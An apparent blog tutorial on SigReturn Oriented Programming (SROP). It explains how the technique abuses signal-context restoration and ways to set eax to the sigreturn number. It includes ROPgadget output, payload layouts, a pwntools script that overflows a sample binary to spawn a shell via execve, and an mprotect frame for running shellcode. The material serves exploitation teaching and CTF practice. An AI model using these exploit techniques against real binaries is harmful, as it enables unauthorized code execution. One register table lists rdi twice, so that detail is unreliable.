6 minutes
Exploit a binary with SigReturn Oriented Programming (SROP)
If you’re interested in binary exploitation, you may have heard of SROP (Sigreturn Oriented Programming), a technique that leverages a program’s signal handling mechanism to gain control over its execution flow. In this article, we’ll explore different methods to exploit a binary with SROP, and discuss a tool that can automate the process of finding the necessary elements for a successful SROP exploit.
Since its first presentation at the 35th Security and Privacy IEEE conference in 2014, the SROP method has been the subject of several papers, as well as numerous CTF challenges, however, it remains difficult to find a comprehensive paper on this topic, so this will be the focus of this article.
We will cover (probably not exhaustively) the different ways that can be used to exploit a x64/x86
binary using the SROP method.
- How does it works?
- Why using this technique?
- The different ways to set the eax register to 0xf
- Exemples of custom sigcontexts
🧐 How does it works?
In order to understand how SROP works, we must first understand what happens when a signal occurs in a Unix-like system.
Signals are not the subject of this article, but you can find what you need to understand the following here
📡 What happens when a signal occurs:
- the execution of the process will be paused by the kernel in order to jump to a routine that will handle the signal.
- In order to safely resume execution after the handler, the context of this process is pushed to be saved on the stack (registers, flags, instruction pointer, stack pointer…). the context takes the form of a “sigcontext” structure whose details can be found here
sigcontext |
sigreturn()
is called once the handler is finished. the process context is restored from the stack and the stack values are removed.
now that we know all this, we can use this system to exploit a binary.
-> We need three things for a good SROP:
- First, a buffer overflow vulnerability
- A way to put the value
0xf
into theeax
register - a
syscall; ret
gagdet
🤔 Why using this technique?
- This method allows to build an exploit with a very limited number of gagdets (ROP)
- It’s much easier to control the execution context (registers status) than with a classical ROP
- SROP exploits are usually portable across different binaries with minimal or no effort and allow easily setting the contents of the registers
- Because we can 😉
🔍 The different ways to set the eax
register to 0xf
The trivial case: we have a mov eax, 0xf
gagdet
the case where this gadget is present in the binary is the simplest to exploit, since it will allow us to place 0xf
into the eax register in a single action, no need to chain ROP gadgets.
➡ Exemple :
We start by searching the different ROP gadgets present in the binary with the ROPgadget tool
$ ~ ROPgadget --binary trivial
Gadgets information
============================================================
[...]
0x0000000000001139 : syscall ; ret
[...]
0x0000000000001143 : mov eax, 0xf ; ret
[...]
With these two gadgets, building an exploit becomes very simple
Here is the structure of our exploit.
Padding until we reach the saved rip |
address of the mov eax, 0xf ; ret gadget ( 0x0000000000001143 ) |
address of the syscall ; ret gadget ( 0x0000000000001139 ) |
SigContext structure with the desired parameters |
Using thepop eax; ret
gadget
This case is a “variant” of the previous one where it is still rather simple to put the value 0xf
in the eax
register
➡ Example :
$ ~ ROPgadget --binary pop_eax
Gadgets information
============================================================
[...]
0x000000000040101b : syscall ; ret
[...]
0x0000000000401020 : pop eax ; ret
[...]
Here is the structure of our exploit.
Padding until we reach the saved rip |
address of the pop eax ; ret gadget ( 0x0000000000401020 ) |
0xf (sigreturn syscall number) |
address of the syscall ; ret gadget ( 0x000000000040101b ) |
SigContext structure with the desired parameters |
example of a python exploit by mishrasunny174
#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
offset = 0x48
padding = 'A'*offset
pop_rax = 0x0000000000401020 #pop rax, ret gadget
syscall = 0x000000000040101b #syscall gadget
bin_sh = 0x0000000000402000 #bin_sh location in binary
p = process('./srop')
payload = padding
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rip = syscall
payload += str(frame)
p.sendline(payload)
p.interactive()
The author of the exploit uses the presence of the string /bin/sh
in the binary by passing it as a parameter to the execve
function via the rdi
register, but it is obviously possible to use many other methods.
Use the read
syscall to set the eax
register to 0xf
An interesting thing to know is that the read
syscall records the number of bytes read into the eax
register.
There are two methods to set the value 0xf
in eax using the read
syscall:
Using the mov eax, 0x0
gadget
Padding until we reach the saved rip |
address of the mov eax, 0x0; ret gadget |
address of the syscall; ret gadget |
Then we send a 15 bytes (0xf
-> 15 in decimal) string to the binary, which will allow us to place the value 0xf
in eax
And finally :
address of the syscall; ret gadget |
SigContext structure with the desired parameters |
Using the pop eax
gadget
Padding until we reach the saved rip |
address of the pop eax; ret gadget |
0x0 (read syscall number) |
address of the syscall; ret gadget |
Then we send a 15 bytes string to the binary, which will allow us to place the value 0xf
in eax
And finally :
address of the syscall; ret gadget |
SigContext structure with the desired parameters |
🪧 Exemples of custom sigcontexts
Once you have figured out how to call the sigreturn
syscall, you need to figure out how to get a shell through the context that will be restored from the stack.
If the binary contains the /bin/sh
string
The idea is to call the execve
function ( syscall 0x3b
-> 59 in decimal ) with the string /bin/sh
as parameter which will give us a shell. The string /bin/sh
can either be present in the binary or you can write it in a memory area whose you know the address.
Register | value |
---|---|
rip |
syscall instruction address |
rax |
0x3b (execve syscall) |
rdi |
address of /bin/sh |
rsi |
0x0 (NULL) |
rdi |
0x0 (NULL) |
Use mprotect
mprotect : set protection on a region of memory
We use mprotect
to make a memory area of our choice executable and writable to allow shellcode execution at that address. Then we shift the stack to that area so we can easily write data to it. We put in rsp
the address containing the entry point of the program to ensure a normal controlflow. We can then arrange to redirect the program to the shellcode address, which will be executed despite the NX protection.
Register | value |
---|---|
rax |
0xa (mprotect syscall) |
rdi |
shellcode address |
rsi |
size (0x1000 for exemple) |
rdx |
0x7 -> mode (rwx) |
rsp |
entrypoint (new stack) |
rip |
address of the syscall; ret gadget |
⬇️ To go further
- Wikipedia article about SROP
- A write-Up for the Minipwn challenge from the 2019 TheManyHatsClub CTF
- Article from Erik Bosman
🤟 Thanks for reading!
for more informations or suggestions, you can contact me at : r0g3r5@protonmail.com, or on twitter at @Rog3rSm1th